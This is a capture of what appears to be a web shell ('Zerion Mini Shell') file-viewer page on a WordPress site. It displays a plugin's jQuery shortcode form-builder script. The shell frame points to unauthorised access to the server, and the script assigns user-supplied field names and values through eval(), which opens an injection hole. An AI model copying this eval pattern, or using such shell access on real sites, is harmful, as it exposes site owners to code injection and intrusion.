%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/gachan/www/wp-content/plugins/jekas_extensions/meta-box/js/
Upload File :
Create Path :
Current File : /home/gachan/www/wp-content/plugins/jekas_extensions/meta-box/js/rc_general.js

var rc,rcData ={};

( function($) {
     rc = {
        buildForm: function (tag) {

            if (this[tag] && this.currentCol) {

                var obj = this[tag];

                var id = this.currentCol;

                var $form = $('<div>').addClass('rc-form rc-form-'+tag).attr({"data-col" : id, "data-tag" : tag}) ;

                if (rcData[id].attr) {

                    $.each(rcData[id].attr, function (k, v) {

                        if (obj.fields && obj.fields[k]) {

                            var fieldType = obj.fields[k].type;

                            obj.fields[k].name = k;

                            var $field = rc.buildField(fieldType, obj.fields[k], v);

                            if ($field)
                                $field.appendTo($form);
                        }
                    });

                }

                else {

                    $.each(obj.fields, function (k, v) {

                        v.name = k;

                        rc.buildField(v.type, v).appendTo($form);

                    });
                }


                var $title = this[tag].title;

                var $buttons = {};

                $buttons[rc_l10n.save] = function () {

                    var key = $(this).data('col');

                    $(this).find('input.rc-field,select.rc-field,textarea.rc-field').each(function () {

                        var tree = $(this).attr('name').split('.');

                        var $name = $(this).attr('name');

                        var $value = $(this).val();

                        var $attr = {};

                        if(!rcData[key].attr)

                            rcData[key].attr = {};

                        if(tree.length == 1) {

                            rcData[key].attr[$name] = $(this).val();

                            return;
                        }

                        var $expression = 'rcData[key].attr';

                        var $part = tree.shift();

                        function getExpression(exp,add){

                            return (/^0|([1-9][0-9]*)$/.test(add)) ? exp+'['+add+']' : exp+'.'+add;
                        }

                        function evalCreateObject(exp,add){

                            var $temp = exp;

                            $temp += '=';

                            $temp += (/^0|([1-9][0-9]*)$/.test(add)) ? '[]' : '{}';

                            eval($temp);

                        }

                        function  evalAssigValue(exp,add){

                            exp += ' = "'+ add+ '"';

                            eval(exp);
                        }

                        function evalExists(exp){

                            return eval(exp + '!== undefined ');
                        }


                        try {

                            while (tree.length > 1 && evalExists(getExpression($expression, $part))) {

                                $expression = getExpression($expression, $part);

                                $part = tree.shift();
                            }

                            $expression = getExpression($expression, $part);

                            var $temp;

                            if (tree.length == 1) {

                                $part = tree[0];

                                if(!evalExists($expression))

                                    evalCreateObject($expression,$part);

                                $expression = getExpression($expression, $part);

                                evalAssigValue($expression,$(this).val());

                                return;
                            }


                            while (tree.length > 1) {

                                $part = tree.shift();

                                evalCreateObject($expression,$part);

                                $expression = getExpression($expression, $part);

                            }

                            $part = tree[0];

                            evalCreateObject($expression, $part);

                            $expression = getExpression($expression, $part);

                            evalAssigValue($expression,$(this).val());
                        }
                        catch($error ){

                            $error+= '\n';

                            $error+= rc_l10n.expression+' :'+getExpression($expression,$part);

                            alert($error);
                        }


                    });



                    rcData[key].tag  =$(this).data('tag');

                    rc.updateContent(rcData[key].input);

                    $('#'+key).html('').append(rc.buildTagCol(rcData[key].tag));

                    $(this).dialog('destroy');
                };

                $buttons[rc_l10n.cancel] = function () {
                    $(this).dialog('destroy');
                };

                $form.dialog({
                    autoOpen: true,
                    modal: true,
                    width: 300,
                    resizable: false,
                    title: $title,
                    buttons: $buttons,

                    close: function () {
                        $(this).dialog('destroy')
                    },
                    destroy:function(){
                        $(this).remove();
                    },
                    closeText: '&times;',

                    create: function(event,ui){

                        $(this).parents('.ui-dialog:first').addClass('rc-form-dialog');

                    }

                });
            }
        },

        buildField: function (type, settings, value) {

            switch (type) {

                case 'text' :
                    return this._buildTextField(settings, value);

                case 'textarea' :
                    return this._buildTextArea(settings, value);

                case 'select'  :
                    return this._buildSelect(settings, value);

                case 'button_set' :
                    return this._buildButtonSet(settings, value);

                case 'color' :
                    return this._buildColor(settings, value);

                case 'datetime' :
                    return this._buildDateTime(settings, value);

                case 'accordion' :
                    return this._buildAccordion(settings, value);

                case 'image'  :
                    return this._buildImage(settings, value);

            }

            return false;

        },

        _buildTextField: function (settings, value) {

            var $field = $('<div class = "rc-field-container">');

            if (settings.title)
                $('<label>').html(settings.title).appendTo($field);

            if (!settings.multiple) {

                $('<input type = "text" class="rc-field"/>').attr('name', settings.name).appendTo($field);


                if (value !== undefined)
                    $field.find('input:text').val(value);

                else if (settings.defaultValue)
                    $field.find('input:text').val(settings.defaultValue);

                return $field;
            }

            $('<div class="textFieldsContainer"> <div class ="listTextFields"></div> </div>').appendTo($field);

            var isFixed = false;

            if (settings.fixed) {

                var fixed = parseInt(settings.fixed);

                isFixed = isNaN(fixed);
            }

            if (!isFixed) {

                var $buttonAdd = $('<button class ="addField"><i class="fa fa-plus"></i>'+rc_l10n.add_field+'</button>').click(addTextField);

                $field.find('.texttextFieldsContainer').append($buttonAdd);
            }

            if (settings.limit)
                $field.find('.texttextFieldsContainer').attr('data-limit', settings.limit);

            var iterateValue = function (k, v) {

                var $layerField = $('<div class="textField"><input type = "text" name = "' + settings.name + '.' + k + '" value = "' + v + '" /></div>');

                if (!isFixed)
                    $('<button class="removeField"> <i class="fa fa-trash"></i>'+rc_l10n.delete_field+'</button>')
                        .click(removeTextField).appendTo($layerField);

            };

            if ($.isArray(value)) {

                $.each(value, iterateValue);
                return $field;
            }

            if ($.isArray(settings.defaultValue)) {

                $.each(settings.defaultValue, iterateValue);

                return $field;
            }

            var length = (isFixed) ? settings.fixed : 1;

            for (var i = 0; i < length; i++) {

                var $layerField = $('<div class="textField"><input type = "text"  name = "' + settings.name + '" /></div>');

                if (!isFixed)
                    $('<button class="removeField"> <i class="fa fa-trash"></i>'+rc_l10n.delete_field+'</button>')
                        .click(removeTextField).appendTo($layerField);
            }

        },

        _buildTextArea: function (settings, value) {

            var $field = $('<div class = "rc-field-container">');

            if (settings.title)
                $('<label>').html(settings.title).appendTo($field);

            if (!settings.multiple) {

                $('<textarea class="rc-field">').attr('name', settings.name).appendTo($field);


                if (value !== undefined)
                    $field.find('textarea').val(value);

                else if (settings.defaultValue)
                    $field.find('textarea').val(settings.defaultValue);

                return $field;
            }

            $('<div class="textAreasContainer"> <div class ="listTextArea"></div> </div>').appendTo($field);

            var isFixed = false;

            if (settings.fixed) {

                var fixed = parseInt(settings.fixed);

                isFixed = isNaN(fixed);
            }

            if (!isFixed) {

                var $buttonAdd = $('<button class ="addField"><i class="fa fa-plus"></i> '+rc_l10n.add_field+'</button>').click(addTextArea);

                $field.find('.textAreasContainer').append($buttonAdd);
            }

            if (settings.limit)
                $field.find('.textAreasContainer').attr('data-limit', settings.limit);

            var iterateValue = function (k, v) {

                var $layerField = $('<div class="textArea"> <textarea name="' + settings.name + '.' + k + '" >' + v + '</textarea> </div>');

                if (!isFixed)
                    $('<button class="removeField"> <i class="fa fa-trash"></i> '+rc_l10n.delete_field+' </button>')
                        .click(removeTextArea).appendTo($layerField);

            };

            if ($.isArray(value)) {

                $.each(value, iterateValue);
                return $field;
            }

            if ($.isArray(settings.defaultValue)) {

                $.each(settings.defaultValue, iterateValue);

                return $field;
            }

            var length = (isFixed) ? settings.fixed : 1;

            for (var i = 0; i < length; i++) {

                var $layerField = $('<div class="textArea"> <textarea name="' + settings.name + '"></textarea> </div>');

                if (!isFixed)
                    $('<button class="removeField"> <i class="fa fa-trash"></i> '+rc_l10n.delete_field+'</button>')
                        .click(removeTextArea).appendTo($layerField);
            }
        },

        _buildSelect: function (settings, value) {

            if ( typeof(settings.options)!= 'object'  && !$.isArray(settings.options) && !settings.loadIcons)

                return false;

          var $field = $('<div class = "rc-field-container rc-field-container-select">');

            if (settings.title)
                $('<label>').html(settings.title).appendTo($field);

            var $selectField = $('<select name = "' + settings.name + '" class = "rc-field" ></select>');

            if(settings.multiple)
             $selectField.attr('multiple','multiple');


            var selectedOption;

            if (value !== undefined) {

                if ($.isArray(value))
                    selectedOption = value;

                else
                    selectedOption = [value];
            }

            else if (settings.defaultValue) {

                if ($.isArray(settings.defaultValue))

                    selectedOption = settings.defaultValue;

                else
                    selectedOption = [settings.defaultValue];
            }

              if (settings.loadIcons)
                settings.options = rcmb.icons;

             $.each(settings.options, function (k, v) {

              var $option = $('<option>').val(settings.loadIcons ? v : k);

                if(selectedOption === undefined)
                 selectedOption = [v];

                if($.inArray((settings.loadIcons) ? v : k,selectedOption )!= -1 )
                 $option.attr('selected','selected');

                $option.html(v).appendTo($selectField);

            });

            $selectField.appendTo($field);

            var selectSettings = {};

            if (settings.loadIcons) {

                function rcAddIcon(icon) {

                    if (icon.text != false)

                        return "<span ><i class='" + icon.text + "'></i>" + "&nbsp;&nbsp;" + icon.text + "</span>";

                    return '<span><i></i>-None-</span>';
                }

                $.extend(selectSettings, {
                    formatResult: rcAddIcon,
                    formatSelection: rcAddIcon,
                    escapeMarkup: function (m) {
                        return m;
                    }
                });

            }

            $selectField.select2(selectSettings);

            return $field;

        },

        _buildButtonSet: function (settings, value) {


            if (typeof (settings.options) != 'object' && !$.isArray(settings.options))

                return false;

            var $field = $('<div class = "rc-field-container">');

            if (settings.title)
                $('<label>').html(settings.title).appendTo($field);

            var $btnGroup = $(' <div class ="rwmb-button-group"></div>');

            var selectedOption;

            if (value !== undefined) {

                if ($.isArray(value))
                    selectedOption = value;

                else
                    selectedOption = [value];
            }

            else if (settings.defaultValue) {

                if ($.isArray(settings.defaultValue))

                    selectedOption = settings.defaultValue;

                else
                    selectedOption = [settings.defaultValue];
            }

            else
                selectedOption = [];

            $.each(settings.options, function (k, v) {

                var idOption = rcmb.helpers.uniqid();

                $('<label>').attr('for', idOption).html(v).appendTo($btnGroup);

                $('<input class="rc-field">').val(k)
                    .attr({
                        type: (settings.multiple) ? 'checkbox' : 'radio',
                        name: settings.name,
                        'checked': $.inArray(selectedOption, k),
                        id: idOption
                    })
                    .appendTo($btnGroup);

            });

            $btnGroup.appendTo($field);
            $btnGroup.buttonset();

            return $field;
        },

        _buildColor: function (settings, value) {

            var $field = $('<div class = "rc-field-container">');

            if (settings.title)
                $('<label>').html(settings.title).appendTo($field);

            var $colorInput = $('<input type="text" class="rc-field" />').attr('name', settings.name);

            if (value !== undefined)
                $colorInput.val(value);

            else if (settings.defaultValue)
                $colorInput.val(settings.defaultValue);

            if (!settings.options)
                settings.options = {};

            $.extend(settings.options,
                {
                    showInput: true,
                    showAlpha:true,
                    allowEmpty:true,
                    preferredFormat:'hex6',
                    change: function(color){

                        $(this).val(color);

                    }
                });

            $colorInput.appendTo($field);

            $colorInput.spectrum(settings.options);

            return $field;

        },

        _buildDateTime: function (settings, value) {

            var $field = $('<div class = "rc-field-container">');

            if (settings.title)
                $('<label>').html(settings.title).appendTo($field);

            var $input = $('<input type="text" class = "rc-field"/>').attr('name', settings.name);

            if (value !== undefined)
                $input.val(value);

            else if (!settings.defaultValue)
                $input.val(settings.defaultValue);

            $input.appendTo($field);

            if (!settings.options)
                settings.options = {};

            if (settings.part)

                switch (settings.part) {

                    case 'onlyTime' :
                        $input.timepicker(settings.options);

                        break;

                    case 'onlyDate' :
                        $input.datepicker(settings.options);

                        break;

                    default :
                        $input.datetimepicker(settings.options);
                }

            else

                $input.datetimepicker(settings.options);

            return $field;
        },

        _buildAccordion: function (settings, value) {

            if (!settings.subfields)
                return false;

            var $field = $('<div class = "rc-field-container ">');

            if (settings.title)
                $('<label>').html(settings.title).appendTo($field);

            var $title = settings.title;

            if($title.lastIndexOf('s') == $title.length -1  )

                $title = $title.substring(0,$title.lastIndexOf('s'));

            $('<div class = "rc-accordion-container"> <div class="rc-accordion"></div></div>').appendTo($field)

            var $accordion = $field.find('div.rc-accordion');

            $('<button class ="rc-button"> <i class="fa fa-plus"></i>'+ rc_l10n.add+ ' ' +settings.title+' </button>').attr('data-name',settings.name).click(rcAddSection).appendTo($field);

            var sectionValues;

            if ($.isArray(value))

                sectionValues = value;

            else if ($.isArray(settings.defaultValue))

                sectionValues = settings.defaultValue;

            else
                sectionValues = [];

            if (sectionValues.length == 0) {

                var $section = false;

                $.each(settings.subfields, function (k, v) {

                    if (v.type != 'accordion') {

                        v.name = settings.name + '.0.' + k;

                        var $subfield = rc.buildField(v.type, v);

                        if ($subfield) {

                            if (!$section)

                                $section = $('<div class="rc-accordion-section"></div>');

                            $subfield.appendTo($section);
                        }
                    }

                });

                if (!$section) return false;

                $('<button class ="rc-button"> <i class="fa fa-trash"></i> '+rc_l10n.delete+' </button>').attr('data-name',settings.name).click(rcRemoveSection).appendTo($section);

                $accordion.append('<h3>  '+$title+' 1 </h3>');

                $section.appendTo($accordion);

                $accordion.accordion(this.accordionSettings);

                return $field;
            }

            var found = false;

            var $subfields = settings.subfields;

            $.each(sectionValues, function (key, val) {

                if (typeof(val) == 'object') {

                    $section = false;

                    $.each(val, function (k, v) {

                        if ($subfields[k].type != 'accordion') {

                            $subfields[k].name = settings.name + '.' + key + '.' + k;

                            var $subfield = rc.buildField($subfields[k].type,$subfields[k] ,v);

                            if ($subfield) {

                                found = true;

                                if (!$section)

                                    $section = $('<div class="rc-accordion-section"></div>');

                                $subfield.appendTo($section);
                            }
                        }

                    });

                    if ($section) {

                        var sectionNumber = parseInt(key) + 1;

                        $('<button class ="rc-button"> <i class="fa fa-trash"></i> '+rc_l10n.delete_field+' </button>').attr('data-name',settings.name).click(rcRemoveSection).appendTo($section);

                        $accordion.append('<h3> '+ $title + ' ' + sectionNumber.toString() + ' </h3>');

                        $section.appendTo($accordion);
                    }

                }

            });

            if (!found) return false;

            $accordion.accordion(this.accordionSettings);

            return $field;

        },

        _buildImage: function (settings, value) {

            var $field = $('<div class="rc-field-container"><ul class="rc-image-container" ></ul></div> ');

            var $gallery = $field.find('ul.rc-image-container').attr('data-name', settings.name);

            $gallery.addClass(settings.gallery ? 'rc-gallery' : 'rc-single');

            if (settings.title)
                $('<label>').html(settings.title).prependTo($field);

            var selectedOption;

            if (value !== undefined) {

                if ($.isArray(value))
                    selectedOption = value;

                else
                    selectedOption = [value];
            }

            else if (settings.defaultValue) {

                if ($.isArray(settings.defaultValue))

                    selectedOption = settings.defaultValue;

                else
                    selectedOption = [settings.defaultValue];
            }

            else
                selectedOption = [];

            $(selectedOption, function (k, v) {

                var $img = $('<li class="rc-added"><div class = "rc-image"> <img src="' + v + '" alt=""/> </div> <i class="fa fa-times"></i> </li>');

                $img.find('i').click(removeImage);

                $('<input type = "hidden" class="rc-field">').attr('name', (settings.gallery) ? settings.name + '.' + k : settings.name).val(v).appendTo($img);

                $img.appendTo($gallery);

            });

            $btnAdd = $('<li class = "rc-add-image"> <i class="fa fa-plus"></i> </li>').click(addImage).appendTo($gallery);

            return $field;
        },

        updateContent: function (rowContainer) {

            var $content = $('<div>');

            var $input = $('#' + rowContainer);

            var $colCount = $input.parent().find('select.col-counter').val();

            $colCount = parseInt($colCount);

            var $lastChild = $input.parent().find('.rcmb-row >div').size() - $colCount + 1;


             $input.parent().find('.rcmb-row > div:nth-last-child(n+' + $lastChild + ' )').each(function () {

              var $column = $('<div>');

              $(this).find('.grid-form select').each(function () {

                  if ($(this).val() != 0) {

                      var $mesure = 'col-' + $(this).attr('name') + '-' + $(this).val();

                      $column.addClass($mesure);

                  }
              });

              var $idEl = $(this).find('.content-shortcode').attr('id');

              if ($idEl !== undefined && rcData[$idEl] && rcData[$idEl].tag) {

                  function hasComposedData($v){

                     if($.isArray($v))
                      for( var i = 0; i<$v.length ; i++)
                       if($.isArray($v[i]) || typeof($v) == 'object')
                        return true;

                      if(typeof($v) == 'object' )
                       for(var i in $v)
                           if($.isArray($v[i]) || typeof($v) == 'object')
                               return true;

                      return false;

                  }

                  var $parameters = '';

                  var $parameterCompose = {};

                  var $compCount = 0;

                   $.each(rcData[$idEl].attr, function (k, v) {

                       if ($.isArray(v) || typeof(v) == 'object'){

                          if(!hasComposedData(v)){

                              $parameters += k + " = '";

                              var parameterValue = '';

                            $.each(v,function(key,val){

                                if(parameterValue != '')
                                  parameterValue+='|';

                                parameterValue += $.param({v:key}).substring(2)+'=>'+$.param({v:val}).substring(2);

                             });

                            $parameters+=parameterValue+"' ";
                        }

                          else {

                              $parameterCompose[k] = v;

                              $compCount ++;

                          }

                      }

                      else {

                           $parameters += k + " = '";

                           $parameters += $.param({x: v}).substring(2) + "' ";

                       }

                  });

                   if(rcData[$idEl].tag) {

                       if($compCount == 0)
                      $column.html('[' + rcData[$idEl].tag + '  ' + $parameters + '/]');

                       else
                       {
                           var $shortcode = '[' + rcData[$idEl].tag + '  ' + $parameters + ']';

                           var $tag = rcData[$idEl].tag;

                           $.each($parameterCompose,function(k,v){

                               var $tagChild = rc[$tag].fields[k].tag;

                               $.each(v,function(key,val){

                                   var $parameters= '';

                                    $.each(val,function(i,j){

                                       $parameters += i + "= '" + j+ "' ";

                                   });

                                   $shortcode+= "[rc_parameter tag ='" + $tagChild + "' parameter_name = '"+k+"' " +$parameters+ '/]';

                               });



                           });

                           $shortcode+= '[/'+ rcData[$idEl].tag+']';

                           $column.html($shortcode);

                       }

                  }

              }

                 $column.appendTo($content);

          });

            var $contentHml = $content.html();

            $input.val($contentHml);
        },

        buildTagCol : function(tag){

            var $containerTag = $('<div class = "rc-container-tag"></div>');

            var $img_icon = $('#rcmb-shortcodes-toolbar > ul > li[data-tag='+tag+']').find('img,i').clone();

            $img_icon.toggleClass('fa-2x fa-3x').appendTo($containerTag);

           var $colActions = $('<div class = "rc-col-actions"></div>');

            $('<i class="fa fa-pencil fa-2x" data-tag = "'+tag+'"   title="Edit this '+rc[tag].title+'"></i>').click(editTag).appendTo($colActions);

            $('<i class="fa fa-trash fa-2x" title = "Delete this '+rc[tag].title+'"></i>').click(removeTag).appendTo($colActions);

            $colActions.appendTo($containerTag);

            return $containerTag;
        },

       accordionSettings :{
            heightStyle:'content',
            icons:{header:"fa fa-caret-right", activeHeader : 'fa fa-caret-down'}

        }
    };


    // Events Functions

    function addTextField() {

        var $list = $(this).parent().find('.listTextFields');

        var $layerField = $('<div class="textField"> <input type="text" /> <button class="removeField"> <i class="fa fa-trash"></i> '+rc_l10n.delete_field+' </button> </div>');

        $layerField.find('button').click(removeTextField);

        $layerField.appendTo($list);

        var limit = parseInt($(this).parent().data('limit'));

        if (!isNaN(limit) && limit == $list.find('.textField').size())
            $(this).hide();

    }

    function addTextArea() {

        var $list = $(this).parent().find('.listTextAreas');

        var $layerField = $('<div class="textArea"> <input type="text" /> <button class="removeField"> <i class="fa fa-trash"></i> '+rc_l10n.delete_field+' </button> </div>');

        $layerField.find('button').click(removeTextArea);

        $layerField.appendTo($list);

        var limit = parseInt($(this).parent().data('limit'));

        if (!isNaN(limit) && limit == $list.find('.textArea').size())
            $(this).hide();

    }


    function removeTextField() {

        $(this).parents('.textFieldsContainer').find('button.addField').show();

        $(this).parent().remove();

    }

    function removeTextArea() {

        $(this).parents('.textAreasContainer').find('button.addField').show();

        $(this).parent().remove();

    }

    function addImage() {

        var $isGallery = ($(this).parent().data('gallery') == 1);

        var $name = $(this).parent().data('name');

        var frame = wp.media({
            title: ($isGallery) ? 'Add Image' : 'Set Image',
            filterable: 'uploaded',
            library: wp.media.query({type: 'image'}),
            editable: $isGallery,
            multiple: $isGallery,
            button: {
                text: 'Use this media'
            }
        });

        var obj = this;


        frame.on('select', function () {

            // Get media attachment details from the frame state
            frame.state().get('selection').each(function (i) {

                var attachment = $(this).toJSON();

                var imageItem = $('<li class="rc-image"> <img src="' + attachment.url + '" alt=""/> <button class="removeField"> <i class="fa fa-trash"></i> Delete Field </button></li>');

                $('<input type = "hidden">').attr('name', ($isGallery) ? $name + '.' + i : $name).val(attachment.url).appendTo(imageItem);

                imageItem.find('button.removeField').click(removeImage);

                imageItem.insertBefore(obj);

            });
        });

        frame.open();

    }

    function removeImage() {

        $(this).parent().remove();
    }

    function rcAddSection() {

        var $accordion = $(this).parent().find('.rc-accordion').accordion('destroy');

        var $tag = $(this).parents('.rc-form:first').data('tag');

       var $name = $(this).data('name');

       var $subfields = rc[$tag].fields[$name].subfields;

       var $title =  rc[$tag].fields[$name].title;

       if($title.lastIndexOf('s') == $title.length -1  )

       $title = $title.substring(0,$title.lastIndexOf('s'));

       var numberSection = $accordion.find('.rc-accordion-section').size();

       var $newSection = false;

       var $accordionSettings = rc.accordionSettings;

       $accordionSettings.active = numberSection;

        $.each($subfields, function (k, v) {

            if (v.type != 'accordion') {

                v.name = $name+'.'+numberSection+'.'+ k;

                var $subfield = rc.buildField(v.type, v);

                if ($subfield) {

                    if (!$newSection)

                        $newSection = $('<div class="rc-accordion-section"></div>');

                    $subfield.appendTo($newSection);
                }
            }

        });

        if ($newSection) {

            $('<button class ="rc-button"> <i class="fa fa-trash"></i> Delete </button>').attr('data-name',$name).click(rcRemoveSection).appendTo($newSection);

            numberSection++;

            $accordion.append('<h3> '+$title+ ' ' + numberSection.toString() + ' </h3>');

            $newSection.appendTo($accordion);
        }

        $accordion.accordion($accordionSettings);

        $accordionSettings.active = 0;
    }

    function rcRemoveSection(){

        var $accordion = $(this).parents('.rc-accordion').accordion('destroy');

        rc.accordionSettings.active = $(this).parent().prevAll('.rc-accordion-section').size();

        var $iterator = rc.accordionSettings.active;

        var $tag = $(this).parents('.rc-form:first').data('tag');

        var $name = $(this).data('name');

        var $title =  rc[$tag].fields[$name].title;

        if($title.lastIndexOf('s') == $title.length -1  )

            $title = $title.substring(0,$title.lastIndexOf('s'));

        var $nextSections = $(this).parent().nextAll('.rc-accordion-section');

        $(this).parent().prev().remove();
        $(this).parent().remove();

        var $temp = $iterator;

         $nextSections.each(function(){

           $(this).find('input.rc-field,.select.rc-field,textarea.rc-field').each(function(){

                var myName = $(this).attr('name').split('.');

                myName[1] = $iterator;

                $(this).attr('name',myName.join('.'));
            });

            $iterator ++;

            $(this).prev().html($title+' '+ $iterator.toString());
        });

        if($iterator == $temp)
        rc.accordionSettings.active --;

        $accordion.accordion(rc.accordionSettings);

         rc.accordionSettings.active = 0;

      }

    function editTag(){

        rc.currentCol = $(this).parents('.content-shortcode').attr('id');

        var $tag = $(this).data('tag');

        rc.buildForm($tag);
    }

    function removeTag(){

        var colToRemove = $(this).parents('.content-shortcode').attr('id');

        var $input = rcData[colToRemove].input;

        delete rcData[colToRemove];

        rcData[colToRemove] = {input: $input};

        $(this).parents('.content-shortcode').html('').append('<i class = "fa fa-plus fa-2x add-tag"></i> ');

        rc.updateContent($input);

       }

    $(document).ready(function(){

        $('.rcmb-row .rc-col-actions i').each(function(){

            var fn =  ($(this).data('op') == 'edit') ? editTag : removeTag;

            $(this).click(fn);

        });
    });



})(jQuery);


Zerion Mini Shell 1.0